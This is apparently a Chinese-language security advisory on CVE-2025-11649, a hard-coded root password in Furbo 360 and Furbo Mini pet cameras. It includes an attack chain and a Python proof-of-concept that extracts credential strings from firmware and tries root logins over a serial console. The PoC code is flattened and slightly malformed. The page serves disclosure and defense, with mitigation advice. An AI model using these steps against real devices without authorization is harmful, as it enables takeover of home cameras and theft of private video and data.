IPBUF安全漏洞报告
English
CVE-2025-11649 CVSS 7.0 高危

CVE-2025-11649:Tomofun Furbo设备硬编码密码漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11649
漏洞类型
硬编码密码(Use of Hard-coded Password)
CVSS评分
7.0 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tomofun Furbo 360 和 Furbo Mini

相关标签

硬编码密码IoT安全FurboTomofun智能摄像头宠物监控本地提权Root账户固件安全CWE-798

漏洞概述

CVE-2025-11649是Tomofun公司旗下Furbo 360和Furbo Mini智能宠物摄像头设备中存在的一个高危安全漏洞。该漏洞源于设备固件中Root Account Handler组件使用了硬编码密码(Hard-coded Password),攻击者可以在本地对设备进行未授权访问。Furbo系列设备是一款广受欢迎的智能宠物监控摄像头,能够让用户远程查看宠物动态并通过手机应用进行互动。由于设备使用了硬编码的Root账户凭据,任何能够物理接触设备或获得本地访问权限的攻击者都可以利用这一漏洞获取设备的最高权限,从而完全控制设备。

该漏洞的CVSS 3.1评分为7.0分,属于高危级别。攻击向量为本地攻击(AV:L),需要低权限(PR:L),无需用户交互(UI:N)。一旦利用成功,攻击者可以获得对设备机密性、完整性和可用性的全面影响(C:H/I:H/A:H)。该漏洞已于2025年10月12日公开披露,影响Furbo 360固件版本至FB0035_FW_036以及Furbo Mini固件版本至MC0020_FW_074。值得注意的是,厂商在漏洞披露前已被通知,但未做出任何回应,这增加了用户面临的安全风险。

技术细节

该漏洞的核心技术问题在于Tomofun Furbo 360和Furbo Mini设备的固件中,Root Account Handler组件内嵌入了硬编码的密码凭据。硬编码密码是一种常见的安全反模式,开发者将认证凭据直接写入固件二进制文件中,这些凭据无法通过正常途径修改或撤销。

在技术实现层面,攻击者首先需要获取设备的本地访问权限,这可以通过以下途径实现:物理接触设备并通过串行控制台(UART/JTAG)访问、通过网络获取设备的shell权限(利用其他漏洞或弱认证)、从设备中提取固件进行离线分析等。一旦获得本地访问权限,攻击者可以通过以下方式利用硬编码密码漏洞:

1. 通过串行控制台或SSH等方式连接到设备的Root账户;
2. 使用固件中硬编码的密码进行认证;
3. 成功认证后获得设备的最高权限;
4. 利用Root权限执行任意命令,包括但不限于:访问摄像头视频流、修改设备配置、安装恶意软件、窃取用户数据、将设备纳入僵尸网络等。

由于该漏洞的利用复杂度较高(AC:H),且需要本地访问权限,因此远程利用的难度较大。但对于能够物理接触设备或已经获得设备网络访问权限的攻击者而言,利用该漏洞几乎没有技术门槛。固件中硬编码的密码无法通过软件更新来修复(除非完全重写认证机制),这使得该漏洞的修复变得极为困难。

攻击链分析

STEP 1
步骤1:获取设备本地访问权限
攻击者通过物理接触设备并连接UART串行控制台,或通过网络渗透获得设备的Shell访问权限。这是利用硬编码密码漏洞的前提条件。
STEP 2
步骤2:固件分析提取硬编码密码
攻击者从设备固件中提取二进制文件,通过字符串分析(strings命令)或逆向工程工具(如Ghidra、IDA Pro)识别Root Account Handler组件中硬编码的密码凭据。
STEP 3
步骤3:利用硬编码凭据登录
使用提取的硬编码用户名和密码,通过串行控制台、SSH或Telnet等方式尝试登录设备的Root账户。
STEP 4
步骤4:获取Root权限
成功认证后,攻击者获得设备的最高系统权限,可以执行任意系统命令、修改系统配置、访问敏感数据。
STEP 5
步骤5:执行恶意操作
利用Root权限访问摄像头视频流、窃取用户隐私数据、安装持久化后门、将设备纳入僵尸网络,或作为内网渗透的跳板进一步攻击用户家庭网络中的其他设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11649 - Furbo Hard-coded Password PoC # Reference: https://github.com/dead1nfluence/Furbo-Advisories/blob/main/Hardcoded-Password.md # Step 1: Extract firmware from device or download from official source # Furbo 360: FB0035_FW_036 # Furbo Mini: MC0020_FW_074 import hashlib import re import sys def extract_strings_from_firmware(firmware_path, min_length=6): """Extract printable strings from firmware binary for analysis""" strings = [] with open(firmware_path, 'rb') as f: data = f.read() # Find ASCII strings in binary pattern = rb'[\x20-\x7e]{%d,}' % min_length matches = re.findall(pattern, data) for match in matches: strings.append(match.decode('ascii', errors='ignore')) return strings def search_hardcoded_credentials(firmware_path): """Search for hard-coded credentials in firmware""" strings = extract_strings_from_firmware(firmware_path) # Common patterns for credentials credential_patterns = [ r'root[:\s]+\S+', r'admin[:\s]+\S+', r'password[:\s]+\S+', r'pass[:\s]+\S+', r'pwd[:\s]+\S+', ] found_credentials = [] for s in strings: for pattern in credential_patterns: matches = re.findall(pattern, s, re.IGNORECASE) if matches: found_credentials.extend(matches) return found_credentials def attempt_login_via_serial(port, baudrate=115200, username='root'): """ Attempt to login via serial console using hard-coded credentials Requires physical access to UART pins on the device """ try: import serial ser = serial.Serial(port, baudrate, timeout=5) # Wait for login prompt output = ser.read_until(b'login:', timeout=10) print(f"[*] Received: {output.decode(errors='ignore')}") # Send username ser.write(f"{username}\n".encode()) # Wait for password prompt output = ser.read_until(b'Password:', timeout=10) print(f"[*] Received: {output.decode(errors='ignore')}") # Try hard-coded passwords discovered from firmware analysis # NOTE: Actual passwords should be extracted from firmware binary hardcoded_passwords = [ # Placeholder - actual passwords extracted from firmware ]n for pwd in hardcoded_passwords: ser.write(f"{pwd}\n".encode()) output = ser.read(1024) if b'$' in output or b'#' in output: print(f"[+] SUCCESS! Logged in with password: {pwd}") return True ser.close() except ImportError: print("[-] pyserial not installed. Run: pip install pyserial") except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <firmware_binary>") print(f"Example: {sys.argv[0]} FB0035_FW_036.bin") sys.exit(1) firmware_path = sys.argv[1] print(f"[*] Analyzing firmware: {firmware_path}") creds = search_hardcoded_credentials(firmware_path) if creds: print(f"[+] Found {len(creds)} potential hard-coded credentials:") for c in creds: print(f" - {c}") else: print("[-] No obvious credentials found with simple patterns") print("[*] Try manual analysis with tools like binwalk, strings, or Ghidra")

影响范围

Tomofun Furbo 360 <= FB0035_FW_036
Tomofun Furbo Mini <= MC0020_FW_074

防御指南

临时缓解措施
由于厂商未对漏洞披露做出回应且硬编码密码难以通过软件更新修复,建议用户采取以下临时缓解措施:1)将Furbo设备隔离在独立的网络段中,限制其与其他设备的通信;2)在路由器上配置访问控制列表(ACL),阻止外部对设备的未授权访问;3)定期检查设备的网络流量,识别异常行为;4)如非必要,关闭设备的远程访问功能;5)考虑使用其他安全摄像头替代产品,特别是经过专业安全审计的IoT设备;6)关注厂商后续是否发布安全公告或固件更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表